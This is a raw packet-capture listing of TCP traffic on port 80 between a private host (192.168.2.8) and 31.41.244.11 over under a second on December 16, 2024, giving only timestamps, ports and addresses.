Dec 16, 2024 17:02:26.073718071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.074417114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.074464083 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.074599028 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.074615002 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.074644089 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.074670076 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.075081110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.075589895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.075639009 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.075721025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.075736046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.075764894 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.075789928 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.076071024 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.076383114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.076427937 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.076500893 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.076515913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.076546907 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.076570988 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.076786041 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.076832056 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.077136993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.077183008 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.077275991 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.077291012 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.077338934 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.077338934 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.077687025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.078048944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.078114033 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.078188896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.078214884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.078233004 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.078262091 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.078660965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.078707933 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.078948021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.078993082 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.079052925 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.079067945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.079097986 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.079111099 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.079336882 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.079710960 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.079756975 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.079840899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.079855919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.079885960 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.079910994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.080092907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.080398083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.080446005 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.080502987 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.080518007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.080549002 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.080571890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.080813885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.081089020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.081134081 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.081173897 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.081188917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.081218958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.081253052 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.081482887 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.081531048 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.081795931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.081837893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.081907034 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.081922054 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.081948042 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.081964016 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.082257032 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.082303047 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.082660913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.082706928 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.082777977 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.082792997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.082823038 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.082834005 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.083158016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.083205938 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.083662987 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.083714962 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.083720922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.083735943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.083786011 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.083801985 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.084094048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.084145069 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.084498882 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.084546089 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.084597111 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.084611893 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.084639072 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.084656954 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.084952116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.085314989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.085364103 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.085407972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.085422993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.085453987 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.085479021 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.085793972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.086236954 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.086286068 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.086380005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.086394072 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.086424112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.086448908 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.086719036 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.087167025 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.087213039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.087268114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.087282896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.087316990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.087340117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.087624073 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.088251114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.088296890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.088386059 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.088401079 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.088426113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.088452101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.088948011 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.089154005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.089198112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.089436054 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.089451075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.089479923 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.089698076 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.090008020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.090050936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.090223074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.090236902 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.090260983 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.090286970 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.259340048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.259360075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.259377003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.259428024 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.259469986 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.259603024 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.259774923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.259828091 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.259922981 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.259938002 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.259955883 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.259969950 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.260027885 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.260487080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.260502100 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.260518074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.260534048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.260536909 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.260561943 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.260588884 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.261248112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.261373997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.261420965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.261528969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.261574030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.261755943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.261770964 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.261800051 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.261810064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.262063980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.262125015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.262430906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.262474060 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.262577057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.262592077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.262615919 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.262634993 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.262916088 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.262959957 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.263281107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.263323069 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.263391972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.263416052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.263431072 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.263433933 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.263452053 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.263470888 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.264174938 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.264215946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.264333963 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.264348030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.264373064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.264390945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.264890909 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.264934063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.265168905 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.265211105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.265358925 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.265373945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.265399933 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.265415907 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.265680075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.265721083 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.266005039 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.266048908 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.266144037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.266158104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.266204119 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.266222954 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.266486883 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.266525984 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.266866922 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.266911983 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.266993999 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.267007113 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.267035007 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.267050028 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.267326117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.267365932 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.267733097 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.267780066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.267889023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.267904043 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.267932892 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.267945051 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.268265009 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.268311024 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.268663883 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.268687963 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.268707991 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.268727064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.268898964 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.268913031 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.268944979 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.268958092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.269507885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.269563913 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.269656897 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.269671917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.269702911 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.269716024 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.270021915 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.270066977 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.270440102 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.270456076 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.270490885 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.270692110 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.270706892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.270735979 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.270764112 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.271298885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.271332979 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.271343946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.271348953 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.271374941 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.271394968 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.271605968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.271670103 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.272187948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.272233963 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.272331953 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.272346020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.272397041 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.272674084 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.272716999 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.273094893 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.273225069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.273238897 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.273274899 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.273293972 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.273593903 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.273988008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.274040937 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.274117947 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.274133921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.274163008 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.274187088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.274476051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.274882078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.274930000 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.274975061 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.274990082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.275017977 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.275049925 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.275386095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.275765896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.275826931 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.275897980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.275912046 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.275947094 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.276000977 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.276232004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.276678085 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.276691914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.276746035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.276782990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.276905060 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.276921034 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.276968956 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.277517080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.277575970 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.277652979 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.277667999 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.277694941 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.277708054 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.278074980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.278713942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.278772116 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.278868914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.278883934 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.278919935 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.278951883 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.279040098 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.279366970 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.279381037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.279441118 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.279470921 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.279719114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.279733896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.279789925 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.280235052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.280293941 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.280421019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.280436039 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.280472040 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.280483961 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.280783892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.281133890 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.281186104 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.281224966 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.281239986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.281271935 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.281299114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.281589985 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.282082081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.282139063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.451679945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.451805115 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.451821089 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.451862097 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.451896906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.452176094 CET	80	49712	31.41.244.11	192.168.2.8
